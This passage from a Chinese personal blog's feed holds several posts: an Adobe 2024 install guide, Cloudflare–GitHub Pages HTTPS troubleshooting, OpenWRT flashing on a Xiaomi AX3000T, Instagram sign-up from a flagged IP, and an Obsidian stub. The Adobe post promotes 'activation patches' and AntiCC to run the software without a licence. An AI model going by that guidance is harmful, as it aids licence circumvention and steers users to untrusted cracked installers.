&lt;p&gt;&lt;img src=&quot;https://m.wbiao.cn/mallapi/wechat/picReverseUrl?url=https://mmbiz.qpic.cn/sz_mmbiz_png/VbpP8Aa9jPsQ2PSgQLlNiaicDBOxz1ALiagicgwBDgnOYibbXqfUyricKhCEZpRjjl0ewuaYhArHSTx9LwE2eGiaK7gAg/640?wx_fmt=png&amp;amp;wxfrom=5&amp;amp;wx_lazy=1&amp;amp;wx_co=1&quot; alt=&quot;图片&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;通用安装方法&lt;/h2&gt;
&lt;p&gt;Adobe 2024 是大版本更新，故是不能直接覆盖其它 Adobe 2023 、2022 等版本，如果有安装旧版本，是两个版本可共存。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;下载好压缩包，解压，直接运行 Set-up.exe 即可安装&lt;/li&gt;
&lt;li&gt;如果初次安装，可以自行设置安装路径，安装目录不要有中文&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://m.wbiao.cn/mallapi/wechat/picReverseUrl?url=https://mmbiz.qpic.cn/sz_mmbiz_png/VbpP8Aa9jPsQ2PSgQLlNiaicDBOxz1ALiagicqxBWMiaNWdT9CfzWWOqQybpU8B3EHCgveHnB1icfGysUsOBUqXbUJZQ/640?wx_fmt=png&amp;amp;wxfrom=5&amp;amp;wx_lazy=1&amp;amp;wx_co=1&quot; alt=&quot;图片&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安装完成了，不会自动在桌面创建快捷启动，可以在开始菜单里边看到应用，直接拖拽桌面即可创建快捷启动。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://m.wbiao.cn/mallapi/wechat/picReverseUrl?url=https://mmbiz.qpic.cn/sz_mmbiz_png/VbpP8Aa9jPsQ2PSgQLlNiaicDBOxz1ALiagPYibOibVuhcekQs1zXMp2RRm5rulcib6mya9uSPzdbibDETALv5wVdTjww/640?wx_fmt=png&amp;amp;wxfrom=5&amp;amp;wx_lazy=1&amp;amp;wx_co=1&quot; alt=&quot;图片&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;PR 语音转字幕制作工具 Adobe Speech to Text v12.0&lt;/h4&gt;
&lt;p&gt;此次更新的 PR 是不带语音转字幕的语音包的，这里单独提供工具 Adobe Speech to Text v12.0，可以自定义选择语言类型安装。&lt;/p&gt;
&lt;h4&gt;语音转文本支持的语言：&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;简体中文（普通话）Chinese Simplified (Mandarin)&lt;/li&gt;
&lt;li&gt;繁体中文（普通话）Traditional Chinese (Mandarin)&lt;/li&gt;
&lt;li&gt;英语 English&lt;/li&gt;
&lt;li&gt;英语（英国）English (United Kingdom)&lt;/li&gt;
&lt;li&gt;西班牙语 Spanish&lt;/li&gt;
&lt;li&gt;德语 German&lt;/li&gt;
&lt;li&gt;法语 French&lt;/li&gt;
&lt;li&gt;日语 Japanese&lt;/li&gt;
&lt;li&gt;葡萄牙语 Portuguese&lt;/li&gt;
&lt;li&gt;朝鲜语 Korean&lt;/li&gt;
&lt;li&gt;意大利语 Italian&lt;/li&gt;
&lt;li&gt;俄语 Russian&lt;/li&gt;
&lt;li&gt;印度 Indian&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一样是直接运行 Set-up.exe 安装，可选择安装语言类似，默认路径安装。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://m.wbiao.cn/mallapi/wechat/picReverseUrl?url=https://mmbiz.qpic.cn/sz_mmbiz_png/VbpP8Aa9jPsQ2PSgQLlNiaicDBOxz1ALiagAzztcu2IOOicLnwhhNMjNmomcRRa4IDhZ5dduyicCiaPGdHnr9Jcde85Q/640?wx_fmt=png&amp;amp;wxfrom=5&amp;amp;wx_lazy=1&amp;amp;wx_co=1&quot; alt=&quot;图片&quot; /&gt;&lt;/p&gt;
&lt;p&gt;默认语音包路径：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;C:\Program Files\Common Files\Adobe\Premiere Pro\24.0\SpeechESL&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://m.wbiao.cn/mallapi/wechat/picReverseUrl?url=https://mmbiz.qpic.cn/sz_mmbiz_png/VbpP8Aa9jPsQ2PSgQLlNiaicDBOxz1ALiag1CW2FahB9reQbEfwrHAnmBAu0ls2v2BwaxwX14AzanfYIbX2uklThQ/640?wx_fmt=png&amp;amp;wxfrom=5&amp;amp;wx_lazy=1&amp;amp;wx_co=1&quot; alt=&quot;图片&quot; /&gt;
只安装简体中文&lt;/p&gt;
&lt;p&gt;此外如果是通过 Creative Cloud 在线安装更新，也会自动安装语音包。&lt;/p&gt;
&lt;h2&gt;Adobe 2024 Mac 版本&lt;/h2&gt;
&lt;p&gt;Adobe 2024 Mac 版本也有两种安装更新方法，一是创意云工具在线下载安装方法，二是使用离线安装包。&lt;/p&gt;
&lt;p&gt;Mac 系统安装 2020-2024 全套 adobe 之前，一定要先安装好 Adobe Creative Cloud，因为从 Adobe 2020 版本开始重写了 Creative Cloud 模块，否则软件打开会报错，并且必须联网才能使用。&lt;/p&gt;
&lt;h4&gt;安装 Adobe Creative Cloud&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;有安装了，可以跳过，打开 AdobeCreative Cloud 文件，双击 Install 进入安装&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://m.wbiao.cn/mallapi/wechat/picReverseUrl?url=https://mmbiz.qpic.cn/sz_mmbiz_png/VbpP8Aa9jPsQ2PSgQLlNiaicDBOxz1ALiagrmOicaq9LGRRHpqIwP06VAK9JOYZX8ic10oD2MRL5qgiccKQwqbbSlsKQ/640?wx_fmt=png&amp;amp;wxfrom=5&amp;amp;wx_lazy=1&amp;amp;wx_co=1&quot; alt=&quot;图片&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;点击继续，输入自己点击开机密码，点击好&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://m.wbiao.cn/mallapi/wechat/picReverseUrl?url=https://mmbiz.qpic.cn/sz_mmbiz_png/VbpP8Aa9jPsQ2PSgQLlNiaicDBOxz1ALiagNibuXHIic59B2KIz3GrwsPc81m07ybiaJ1Ciby5MLRmiaal2lTibqUq3vnibg/640?wx_fmt=png&amp;amp;wxfrom=5&amp;amp;wx_lazy=1&amp;amp;wx_co=1&quot; alt=&quot;图片&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;登录账号，点击继续（没有注册的可以自己注册一个，&lt;strong&gt;注册的时候地区选择国外，可以选择美国&lt;/strong&gt;）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://m.wbiao.cn/mallapi/wechat/picReverseUrl?url=https://mmbiz.qpic.cn/sz_mmbiz_png/VbpP8Aa9jPsQ2PSgQLlNiaicDBOxz1ALiagCGg81n6C9sx2PIHZuAKtgsZTKCficazPtsP8Xos41KUsUTZjXbsbbhg/640?wx_fmt=png&amp;amp;wxfrom=5&amp;amp;wx_lazy=1&amp;amp;wx_co=1&quot; alt=&quot;图片&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;等待安装完成，点击跳过问题！&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://m.wbiao.cn/mallapi/wechat/picReverseUrl?url=https://mmbiz.qpic.cn/sz_mmbiz_png/VbpP8Aa9jPsQ2PSgQLlNiaicDBOxz1ALiagIcdNEghyvv6frKpYPA5aavT6ib6vUM6vgM95B8DSqEmS8taicg1dGE4w/640?wx_fmt=png&amp;amp;wxfrom=5&amp;amp;wx_lazy=1&amp;amp;wx_co=1&quot; alt=&quot;图片&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;创意云工具在线下载安装激活方法&lt;/h4&gt;
&lt;p&gt;在线下载安装方法，即通过创意云工具简称 ACC，通过 ACC 下载最新版本，需要适配激活工具对应的版本，如果 ACC 里边应用更新，就需要等激活工具更新。&lt;/p&gt;
&lt;p&gt;此激活程序目前是 1.4 版本，可以一键激活多款 Adobe 软件，但注意需要对应以下版本，目前对应最新版本程序。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After effects v24.0&lt;/li&gt;
&lt;li&gt;Premiere Pro v24.0&lt;/li&gt;
&lt;li&gt;Media Encoder v24.0&lt;/li&gt;
&lt;li&gt;Photoshop v25.0&lt;/li&gt;
&lt;li&gt;Illustrator v28.0.0&lt;/li&gt;
&lt;li&gt;Lightroom Classic v13.0&lt;/li&gt;
&lt;li&gt;Bridge v14.0&lt;/li&gt;
&lt;li&gt;InDesign v19.0.0.151&lt;/li&gt;
&lt;li&gt;Adobe Distiller v23.006.20320&lt;/li&gt;
&lt;li&gt;Adobe Acrobat v23.006.20320&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;具体使用方法是安装登录 Adobe Creative Cloud，在 Adobe Creative Cloud 下载应用是最新的，下载安装试用，建议都打开都试用一遍，然后再去运行一键激活补丁 Patcher。&lt;/p&gt;
&lt;p&gt;此外，在线安装试用是比较慢，建议还是使用离线安装包安装激活。&lt;/p&gt;
&lt;h4&gt;离线安装包&lt;/h4&gt;
&lt;p&gt;离线安装包即固定的安装包版本，激活补丁也是固定的，没有特殊情况，安装包是可以一直使用。&lt;/p&gt;
&lt;p&gt;安装方法都是通用的，注：ARM 版本即 M1 和 M2 系列芯片电脑使用，Intel 版本是 Intel 芯片电脑使用，U2B 就是芯片都通用。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;安装 2023 Adobe 软件之前，一定要先安装好 Adobe Creative Cloud 创意应用软件（安装包在提供链接里边可单独下载），如果有安装好了，可以跳过此步。&lt;/li&gt;
&lt;li&gt;安装 AntiCC，有安装过可跳过此步（不安装这个可能出现-2700 报错）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://m.wbiao.cn/mallapi/wechat/picReverseUrl?url=https://mmbiz.qpic.cn/sz_mmbiz_png/VbpP8Aa9jPsQ2PSgQLlNiaicDBOxz1ALiagKN0xUWtP1yd6lsmQHcXa0UusVQTgmL9n52Nr52NN2Uc6DCyWTDMtrg/640?wx_fmt=png&amp;amp;wxfrom=5&amp;amp;wx_lazy=1&amp;amp;wx_co=1&quot; alt=&quot;图片&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;点击 Install 即可默认安装，安装过程需要输入密码，输入自己电脑开机密码。（如果安装有遇到问题，可以看对应问题大全进行解决）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://m.wbiao.cn/mallapi/wechat/picReverseUrl?url=https://mmbiz.qpic.cn/sz_mmbiz_png/VbpP8Aa9jPv0oEBUSQS5G90Q9P6yq7Svun5oMeRziaAAVZFBszCgjbgjUicZb7afNzwgGydRKK9YjAAbVmicr47Sg/640?wx_fmt=png&amp;amp;wxfrom=5&amp;amp;wx_lazy=1&amp;amp;wx_co=1&quot; alt=&quot;图片&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;运行激活工具，点击自定义勾选安装对应的激活补丁工具&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://m.wbiao.cn/mallapi/wechat/picReverseUrl?url=https://mmbiz.qpic.cn/sz_mmbiz_png/VbpP8Aa9jPv0oEBUSQS5G90Q9P6yq7SvUg9ev5pEhicMR54VBw2vvDHwDxuCJZgI4uZPCcx7u9hkNWj2frt5zug/640?wx_fmt=png&amp;amp;wxfrom=5&amp;amp;wx_lazy=1&amp;amp;wx_co=1&quot; alt=&quot;图片&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在启动台打开即可使用&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://m.wbiao.cn/mallapi/wechat/picReverseUrl?url=https://mmbiz.qpic.cn/sz_mmbiz_png/VbpP8Aa9jPv0oEBUSQS5G90Q9P6yq7SvpMvuQiacLEafygP3xwDu3COQiboYfqEeYyJsyPNibGQ8kmoibRXBWeImsg/640?wx_fmt=png&amp;amp;wxfrom=5&amp;amp;wx_lazy=1&amp;amp;wx_co=1&quot; alt=&quot;图片&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此外，PR 自带语音转文本功能，语音包体积很多占用不少空间，安装好软件之后，可以去对应路径删除。&lt;/p&gt;
&lt;p&gt;Mac 系统语音包文件目录， /Library/Application Support/Adobe/Premiere Pro/24.0/SpeechESL&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://m.wbiao.cn/mallapi/wechat/picReverseUrl?url=https://mmbiz.qpic.cn/sz_mmbiz_png/VbpP8Aa9jPsQ2PSgQLlNiaicDBOxz1ALiagr83qHj3PeX1bYicJ8lt4L5Bz8Uqen5lqIvqLgLGIrLYa8AX7DzTZumQ/640?wx_fmt=png&amp;amp;wxfrom=5&amp;amp;wx_lazy=1&amp;amp;wx_co=1&quot; alt=&quot;图片&quot; /&gt;&lt;/p&gt;
&lt;p&gt;建议只保留 CMN 简体中文和繁体中文，对应所在文件夹 12.1.0.5，其余均可删除。&lt;/p&gt;
&lt;h2&gt;Adobe 2023 Mac 版本&lt;/h2&gt;
&lt;p&gt;此外针对 2023 最终版本下载可能出现损坏问题，对安装包进行了优化，重新打包上传，如果工作所需建议安装 2022 或者 2023 版本。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;以上，就是 Adobe 2024 Mac 版本安装详细介绍，希望大家都能够免费安装上，后续软件也会继续更新，做到免费没有套路分享，可以转发给更多有需要的小伙伴！&lt;/p&gt;
</content:encoded></item><item><title>Cloudflare DNS 托管+Github Pages HTTPS加密避坑</title><link>https://blog.nichijou.moe/posts/old/cloudflare-gh-pages/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/old/cloudflare-gh-pages/</guid><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;起因&lt;/h2&gt;
&lt;p&gt;最近在 NameSilo 上买了个自己的域名给托管到了 Cloudflare 上，准备当博客，开个自己的个人网站&lt;/p&gt;
&lt;p&gt;博客部署完后，准备给自己的简介网站弄个域名，pages 弄上去&lt;/p&gt;
&lt;p&gt;就在 Cloudflare 上添加 CNAME 记录指向到我的&lt;a href=&quot;https://fiz-victor.github.io&quot;&gt;Github Pages 域名&lt;/a&gt;了&lt;/p&gt;
&lt;p&gt;特别注意：我这时把 CF 的代理勾选了&lt;/p&gt;
&lt;h2&gt;事发过程&lt;/h2&gt;
&lt;p&gt;网站啥的都设置好了，发现没有 https 协议（）&lt;/p&gt;
&lt;p&gt;奇怪了，gh pages 上的 dns check 也过了，那个 https 勾选框灰了（恼）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Unavailable for your site because your domain is not properly configured to support HTTPS.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;同时 Cloudflare 访问 HTTPS 的加密页面也会因为重定向次数过多而寄掉&lt;/p&gt;
&lt;p&gt;解决方案：把 SSL 证书 &lt;code&gt;灵活&lt;/code&gt;换成 &lt;code&gt;完全&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;之后，我尝试将 CNAME 记录改成 A 记录指向 Github 的 IP，也一样报错&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@    A    185.199.108.153
@    A    185.199.109.153
@    A    185.199.110.153
@    A    185.199.111.153
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后来查到 cloudflare 会自己把根域名下的 cname 转成 a 记录，就这样折腾了大半个小时就结果一无所获&lt;/p&gt;
&lt;h2&gt;解决方案&lt;/h2&gt;
&lt;p&gt;这时我想起来之前配置博客弄 https 证书的时候成功在关闭代理的时候把 gh 的证书加上去了，我就开始怀疑是不是 cloudflare 代理的证书影响了 gh 证书检查的功能&lt;/p&gt;
&lt;p&gt;我关闭我个人简介站点的加速之后发现 gh pages 已经开始获取证书了：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Unavailable for your site because a certificate has not yet been issued for your domain.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;等了大概半分钟之后，原本变灰的按钮已经可以被选中了&lt;/p&gt;
&lt;p&gt;开启之后简介网站已经可以强制 https 访问了&lt;/p&gt;
&lt;p&gt;总结一下，Github 和 Cloudflare 的加速就过不去，cf 加速开了 gh https 的证书就死活套不上去，要把那个域名的 cf 加速给关闭才加得上去&lt;/p&gt;
&lt;h2&gt;7.30 更新&lt;/h2&gt;
&lt;p&gt;为了证书可以顺利续期，需要在 cf 面板里加一些规则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;缓存规则：URI 路径等于/.well-known/*，选择绕过缓存&lt;/li&gt;
&lt;li&gt;页面规则：同上，把能关的都关了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;配置好以来都未出现过掉证书的现象，有相同问题的小伙伴都可以参考一下&lt;/p&gt;
</content:encoded></item><item><title>小米AX3000T刷OpenWRT中遇到的问题和解决方案</title><link>https://blog.nichijou.moe/posts/old/ax3000t-old/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/old/ax3000t-old/</guid><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;去年入的路由器，上周试着折腾一下，搞好了公网 ipv6，但现在一到五根本没空写博文 💦&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;1. 刷入 OpenWRT&lt;/h1&gt;
&lt;h2&gt;简介（转）&lt;/h2&gt;
&lt;p&gt;CPU：联发科 FiLogic 820 系列的 MT7981，12nm 双核 A53 架构，12nm 工艺制程，1.3GHz 主频&lt;/p&gt;
&lt;p&gt;内存：256mb+128MB 的存储组合&lt;/p&gt;
&lt;p&gt;网络：4 个自适应千兆口（好评），天线数量 4 根（5G 频段 2+1 配置）支持 160MHz 超大频宽，支持近磁场 NFC 连接 wifi（一次也没有用过。。。）&lt;/p&gt;
&lt;p&gt;优点：活动价格保持 15X 性价比很高，轻松跑满千兆，mesh 组网很方便，白色外观设计小巧精致，很简洁
缺点：部分人反应断流严重，我不玩游戏没有感触，断流&lt;/p&gt;
&lt;h2&gt;刷入&lt;/h2&gt;
&lt;p&gt;网上关于小米刷 OpenWRT 的教程多的去了，自己去百度一下就行。&lt;/p&gt;
&lt;p&gt;这里也提供两篇自己参考的文章：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://post.smzdm.com/p/admxql3d/&quot;&gt;小米 AX3000T 保姆级免拆刷 openWrt 教程以及排坑指南&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/jgw2008/article/details/135602964&quot;&gt;OpenWrt：刷机小米 WR30U（AX3000T）&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;用到的计算 SSH 密码的工具：&lt;a href=&quot;https://miwifi.dev/ssh%E2%80%B8&quot;&gt;https://miwifi.dev/ssh&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;固件地址&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PS:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第二篇文章里的解锁 SSH 方法我没实测过，我的机子是用上面那篇文章的方法解的&lt;/li&gt;
&lt;li&gt;到时候刷 uboot 时一定要用网线连+手动配置 IP！&lt;/li&gt;
&lt;li&gt;刷 uboot 的时候可能不止五分钟，千万不要断电！刷完灯会灭，然后重启！&lt;/li&gt;
&lt;li&gt;管理后台的默认用户名是&lt;code&gt;root&lt;/code&gt;，密码是&lt;code&gt;password&lt;/code&gt;！&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/old-images/images/24/9/8dc1f22979ca7e896ad404d82bb03e0e.png&quot; alt=&quot;https://s.nichijou.moe/old-images/images/24/9/8dc1f22979ca7e896ad404d82bb03e0e.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;2. 配置 OpenWRT&lt;/h1&gt;
&lt;p&gt;刷完 OpenWRT 并不代表配置完了，要想用上公网 IPv6 和无线还有几个步骤！&lt;/p&gt;
&lt;h2&gt;配置无线&lt;/h2&gt;
&lt;p&gt;在&lt;strong&gt;网络-&amp;gt;无线&lt;/strong&gt;下面把两个网络设置为开启，配置个密码就可以正常使用了。（支持双频合一）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/old-images/images/24/9/e6f91433a25aad037cc2214a65d39d5f.png&quot; alt=&quot;https://s.nichijou.moe/old-images/images/24/9/e6f91433a25aad037cc2214a65d39d5f.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;杂七杂八的设置&lt;/h2&gt;
&lt;p&gt;设置网络前我是先更新了下软件包（&lt;strong&gt;系统-&amp;gt;软件包&lt;/strong&gt;），&lt;strong&gt;服务&lt;/strong&gt;里的&lt;strong&gt;DDNS-GO、UPNP&lt;/strong&gt;，&lt;/p&gt;
&lt;h2&gt;配置 WAN 口和 LAN 口&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;我家里是电信的光猫做主路由，小米做旁路由的方案，所以和直接 PPPOE 拨号的方案有些许不同！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;由于 OpenWRT 默认不支持自动识别 Wan 口，所以我们得手动将网线插入离 Reset 口最进的默认 Wan 口！！！插错口会像我一样无法上网！！！！&lt;/p&gt;
&lt;p&gt;（听网上说如果之前改过默认 Wan 口了的话需要插在改过的网口上，没刷机前就是智能识别的可以不管）&lt;/p&gt;
&lt;p&gt;接下来需要更改的设置只会在&lt;strong&gt;网络-&amp;gt;接口&lt;/strong&gt;里面！！&lt;/p&gt;
&lt;h3&gt;LAN 口&lt;/h3&gt;
&lt;p&gt;OK，为了不让局域网使用内部使用自己的 IPv6 地址，首先我们需要清除&lt;strong&gt;全局网络选项&lt;/strong&gt;里的 ULA 前缀，不分配私网 ipv6 地址。
&lt;img src=&quot;https://s.nichijou.moe/old-images/images/24/9/16c24d5f622d90e2f7c8bb706e80dd38.png&quot; alt=&quot;https://s.nichijou.moe/old-images/images/24/9/16c24d5f622d90e2f7c8bb706e80dd38.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来因为我电信路由的网关地址已经是&lt;code&gt;192.168.1.1&lt;/code&gt;了，为了不产生冲突，这里需要在&lt;strong&gt;LAN&lt;/strong&gt;里设置一个新的 IP 地址。（只需要设置静态地址就行了，网关和广播正常会自动识别）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/old-images/images/24/9/901f35540fc8ba65d450d1a7f914ced9.png&quot; alt=&quot;https://s.nichijou.moe/old-images/images/24/9/901f35540fc8ba65d450d1a7f914ced9.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;DCHP 这里在高级模式里打开强制（不记得原来是开着的还关着的了就提一下），在 IPv6 设置里全部选择中继模式，如图。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/old-images/images/24/9/22bec7c9ea8f4594082435c9ce5325da.png&quot; alt=&quot;https://s.nichijou.moe/old-images/images/24/9/22bec7c9ea8f4594082435c9ce5325da.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/old-images/images/24/9/0f703a877b8e5a09bf49a1e5701d8e34.png&quot; alt=&quot;https://s.nichijou.moe/old-images/images/24/9/0f703a877b8e5a09bf49a1e5701d8e34.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;高级设置里打开使用内置的 IPv6 管理，为什么写上去，原因同上。
&lt;img src=&quot;https://s.nichijou.moe/old-images/images/24/9/aa5d3e16e0fc352d15afb60b0d9b0084.png&quot; alt=&quot;https://s.nichijou.moe/old-images/images/24/9/aa5d3e16e0fc352d15afb60b0d9b0084.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;WAN 口&lt;/h3&gt;
&lt;p&gt;配置 IPv4 的 WAN 就不用我多说了吧，咱们今天稍微讲一下 WAN6 的配置。&lt;/p&gt;
&lt;p&gt;因为我这个版本的固件缺了点设置，那些别的教程里的的设置在我的 GUI 上没有（）所以我们就要用到配置文件来改 DHCPv6 的设置！&lt;/p&gt;
&lt;p&gt;先确保一下 WAN6 的配置是和图里的一样的：
&lt;img src=&quot;https://s.nichijou.moe/old-images/images/24/9/573f4944d875851f7f529bc7dea5ff56.png&quot; alt=&quot;https://s.nichijou.moe/old-images/images/24/9/573f4944d875851f7f529bc7dea5ff56.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在也是最后一步！最后找到&lt;code&gt;/etc/config/dhcp&lt;/code&gt;，连上 SSH 用 vi 编辑文件，找到 DHCP 关于 wan 和 wan6 的两项，把原来的删掉，用下面两个替换：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;config dhcp &apos;wan&apos;
        option interface &apos;wan&apos;
        option ignore &apos;1&apos;
        option dhcpv6 &apos;disabled&apos;
        option ndp &apos;relay&apos;
        option ra &apos;relay&apos;
        option master &apos;1&apos;

config dhcp &apos;wan6&apos;
        option dhcpv6 &apos;relay&apos;
        option ra &apos;relay&apos;
        option ndp &apos;relay&apos;
        option master &apos;1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改后，重启 network 服务，保险点可以重启一下系统，但有时候我们要手动刷新一下 IPv6，有些时候系统不会马上获取到。（&lt;a href=&quot;https://hksanduo.github.io/2020/03/13/2020-03-13-openwrt-set-ipv6/&quot;&gt;教程&lt;/a&gt;）&lt;/p&gt;
&lt;p&gt;想要测试 ipv6 连通性话可以用&lt;a href=&quot;https://www.test-ipv6.com/index.html.zh_CN&quot;&gt;www.test-ipv6.com&lt;/a&gt;（梯子需要关！！有些机场自带 IPv6 的线路！）图里应该是 V4 的测试地址被墙了，然后我成了大半个互联网都上不了的人（&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/old-images/images/24/9/a90aa4eec865d985c4d9122c0d1eb4b5.png&quot; alt=&quot;https://s.nichijou.moe/old-images/images/24/9/a90aa4eec865d985c4d9122c0d1eb4b5.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://kzpu.com/archives/4617.html&quot;&gt;OPENWRT 里面设置 IPV6 方法&lt;/a&gt;，&lt;a href=&quot;https://blog.csdn.net/qq_38073913/article/details/136069711&quot;&gt;OpenWRT 配置 ipv6&lt;/a&gt;，&lt;a href=&quot;https://blog.csdn.net/m0_46247741/article/details/140648308&quot;&gt;旁路由 IPV6 设置（校园网 NAT6）&lt;/a&gt;，&lt;a href=&quot;https://hksanduo.github.io/2020/03/13/2020-03-13-openwrt-set-ipv6/&quot;&gt;openwrt 配置 ipv6&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;3. 结语&lt;/h1&gt;
&lt;p&gt;现在这样就算配置完了一个能获取到公网 IPv6 的 OpenWRT 了，但因为这个版本的固件自带的插件并不多，而且我这里也装不上任何软件包，所以最后如果要加软件包的话是不是得自己编译了（？&lt;/p&gt;
&lt;p&gt;体验算好，DDNS 还在研究，离家里云又近一步！&lt;/p&gt;
</content:encoded></item><item><title>不干净的IP注册Ins遇到的问题</title><link>https://blog.nichijou.moe/posts/old/ins-sign-up-failed/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/old/ins-sign-up-failed/</guid><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;鉴于我的 Ins 号已经被封了两个的情况下，为了去 Ins 上看巨神们的动态，打算再试着注册一次。写这篇文章是因为网上都没有一篇文章详细写如何去解封 Ins 账号的，都是些营销号发出来的文（恼）&lt;/p&gt;
&lt;p&gt;我前面两个号应该都是因为不干净的 IP（多个节点不断切换或者 IP 被列入风险名单里）被制裁了，要让我上传自拍（还要拿着白纸在上面写数字和自己的姓名）直接放弃 😭&lt;/p&gt;
&lt;p&gt;虽然不知道 Ins 那里的审核自拍机制是怎么样的，又有人说正脸照传了审核还不给通过，就整的我提心吊胆的，到时候又废一个账号。&lt;/p&gt;
&lt;p&gt;这里我注册的时候邮箱用的是 Gmail，手机用的是英国号 giffgaff（理论上接码平台也行）（貌似手机号是 IP 进黑名单强制的），用的日本节点，把账号密码什么的输好，会有邮箱验证码和手机验证码，输好就到认证界面了。这次认证的时候不要拿着白纸了，只要自拍就行（好！）&lt;/p&gt;
&lt;p&gt;这样就给自拍加了点背景模糊，删了 EXIF（怕泄露隐私），传照片的时候再会要一次验证码，验证完算就上传完成了！&lt;/p&gt;
&lt;p&gt;页面说等一个工作日，我等到第二天放学后看邮箱也没什么邮件，上 Ins 看了一下直接进首页，估计后边也不会有什么认证了。&lt;/p&gt;
&lt;p&gt;...&lt;/p&gt;
</content:encoded></item><item><title>玩一玩Obsidian</title><link>https://blog.nichijou.moe/posts/old/meeting-obsidian/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/old/meeting-obsidian/</guid><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;玩一下&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://segmentfault.com/a/1190000042111566&quot;&gt;参考&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;到时候研究一下 qexo 或者 obsidian 的图床或者短链&lt;/p&gt;
</content:encoded></item><item><title>记一下黑叉改名失败解决方案</title><link>https://blog.nichijou.moe/posts/old/x-name-change/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/old/x-name-change/</guid><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;一、 万恶之源&lt;/h1&gt;
